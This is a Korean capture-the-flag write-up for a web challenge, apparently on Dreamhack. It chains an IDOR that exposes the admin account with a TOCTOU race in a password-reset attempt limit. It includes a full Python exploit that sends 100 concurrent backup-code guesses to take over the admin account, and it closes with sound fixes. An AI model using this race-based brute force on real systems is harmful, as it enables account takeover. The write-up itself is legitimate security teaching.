회원가입은 항상 guest 등급만 만든다. /user/idx의 IDOR로 관리자 계정(Apple, level=1)을 먼저 찾아내고, 비밀번호 재설정의 2자리 백업코드는 5회 오답이면 잠기지만 그 카운트 확인과 증가 사이에 TOCTOU 레이스가 있다. 100개 값을 동시에 쏘면 잠기기 전에 정답이 섞여 나간다.
로그인, 회원가입, 비밀번호 찾기, 유저 정보 조회, 관리자 페이지. 흔한 인증 시스템 문제다. 코드를 읽어보면 구멍이 두 개 보인다 — 하나는 "누가 관리자인지" 알아내는 구멍이고, 하나는 "관리자 비밀번호를 어떻게 바꾸는지"에 대한 구멍이다. 둘을 이어야 flag가 나온다.
@app.route('/user/<int:useridx>')def users(useridx): user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone() if user: return render_template('user.html', user=user)
로그인 여부를 확인하지 않는다. idx를 1부터 순서대로 넣어보면 그냥 다 보여준다 — 전형적인 IDOR(권한 확인 누락 + 예측 가능한 ID)다.
브라우저로 /user/1 — UserLevel: 1, 즉 관리자 계정의 아이디가 Apple임을 확인
idx=1이 UserLevel: 1인 Apple. 다른 idx들은 전부 레벨 0이다. 타깃이 정해졌다.
💣 핵심 — 5회 제한은 "확인 후 증가" 사이에 구멍이 있다
비밀번호 재설정 로직을 보자.
if user['resetCount'] == MAXRESETCOUNT: return "...reset Count Exceed..."if user['backupCode'] == backupCode: updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?" ...else: updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?" cur.execute(updateSQL, (str(user['idx'])))
backupCode는 random.randrange(100) — 0부터 99, 딱 100가지다. 대신 5번 틀리면(resetCount == 5) 잠근다는 방어가 붙어 있다. 100분의 1 확률로 5번만 주어지면 사실상 못 뚫는 게 맞다 — 순서대로, 한 번에 하나씩 요청한다면.
문제는 "지금까지 몇 번 틀렸는지 확인"(SELECT ... resetCount)과 "틀렸으니 카운트 +1"(UPDATE ... resetCount+1)이 하나의 원자적 연산이 아니라는 점이다. 요청 A와 요청 B가 동시에 들어오면, 둘 다 "확인" 시점엔 아직 서로의 "+1"이 반영되기 전의 resetCount를 읽는다. 요청을 100개(0~99 전부) 동시에 쏘면, 서버가 이 카운트를 순차적으로 갱신하기도 전에 대부분의 요청이 이미 "resetCount == 5 아님"을 통과해 버린다. 5회 제한은 요청을 순서대로 처리할 거라는 가정 위에서만 유효한 방어였다.
즉 이 문제가 요구하는 건 하나다: 같은 계정에 같은 순간 100개의 추측을 동시에 던지는 것.
🎯 익스플로잇 — ThreadPoolExecutor로 100개 동시 요청
from concurrent.futures import ThreadPoolExecutorimport requestsdef attempt(code): r = requests.post(f"{BASE}/forgot_password", data={"userid": "Apple", "newpassword": NEWPASS, "backupCode": code}, timeout=10) return code, r.textwith ThreadPoolExecutor(max_workers=100) as ex: for code, text in ex.map(attempt, range(100)): if "Password Change Success" in text: print(f"[HIT] backupCode={code}")
실행해 보면 대부분은 Wrong BackupCode 아니면(동시 쓰기로 sqlite가 잠겨) 500 에러가 섞여 나오지만, 그 소음 속에 정답 하나가 반드시 끼어 있다.
로그인 폼 — 정상적으로는 5번밖에 못 틀리는 백업코드를, 레이스로 100번 다 시도한다
키 없이 /admin에 가면 당연히 막힌다.
인증 전 /admin — Only Admin !
레이스로 얻은 새 비밀번호로 Apple 계정에 로그인해 다시 /admin에 가면, flag가 그대로 나온다.
Apple로 로그인 후 /admin — flag가 그대로 출력된다
🚀 Full Exploit
IDOR로 타깃을 찾는 과정은 이미 확인했으니, 레이스 → 로그인 → flag 획득까지 하나로 묶는다.
import sys, requestsfrom concurrent.futures import ThreadPoolExecutorBASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:17894"TARGET = "Apple" # /user/1 IDOR로 확인한 level=1 계정NEWPASS = "raced_pw_2"def attempt(code): r = requests.post(f"{BASE}/forgot_password", data={"userid": TARGET, "newpassword": NEWPASS, "backupCode": code}, timeout=10) return code, r.text# 1) resetCount(5회 제한) 체크와 증가 사이의 TOCTOU를 이용해 0~99를 동시에 쏜다hit = Nonewith ThreadPoolExecutor(max_workers=100) as ex: for code, text in ex.map(attempt, range(100)): if "Password Change Success" in text: hit = codeprint(f"[1] race condition으로 backupCode={hit} 확보, 비밀번호를 '{NEWPASS}'로 재설정")# 2) 재설정한 비밀번호로 로그인s = requests.Session()s.post(f"{BASE}/login", data={"userid": TARGET, "password": NEWPASS})print(f"[2] {TARGET} 계정으로 로그인 완료")# 3) 관리자 전용 엔드포인트에서 flag 획득flag = s.get(f"{BASE}/admin").textprint(f"[3] FLAG: {flag.strip()}")
solve.py 소스 + 실제 서버 대상 실행 — race로 backupCode 확보부터 flag까지 한 번에
실행할 때마다 backupCode는 매번 새로 랜덤 배정되므로 맞힌 값(9, 90, ...)은 실행마다 다르지만, 100개를 동시에 쏘는 한 결과는 항상 같다.
📝 결론
이 문제는 두 가지를 한 번에 보여준다. 첫째, 권한 확인 없는 정보 조회(/user/<idx>)는 브루트포스 대상을 스스로 좁혀 주는 지도가 된다 — 공격자가 어느 계정을 노려야 할지 고민할 필요조차 없게 만든다. 둘째, 더 중요한 건 "실패 횟수 제한"이 확인과 갱신을 원자적으로 처리하지 않으면 아무 의미가 없다는 점이다. SELECT로 카운트를 읽고 애플리케이션 레벨에서 if로 판단한 뒤 UPDATE하는 패턴은, 동시 요청 앞에서 카운트가 늦게 따라오는 경쟁 상태를 만든다.
제대로 막으려면 시도 횟수 증가와 검사를 하나의 원자적 DB 연산으로 묶거나(UPDATE ... SET resetCount = resetCount + 1 WHERE idx=? AND resetCount < 5 후 영향받은 행 수로 판단), 애초에 레이트 리밋을 애플리케이션 밖(리버스 프록시, 분산 락)에서 계정·IP 단위로 강제해야 한다. 100가지뿐인 백업코드도 문제였다 — 재설정 인증 수단은 추측 가능한 소수의 값이 아니라 충분히 큰 무작위 토큰이어야 한다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…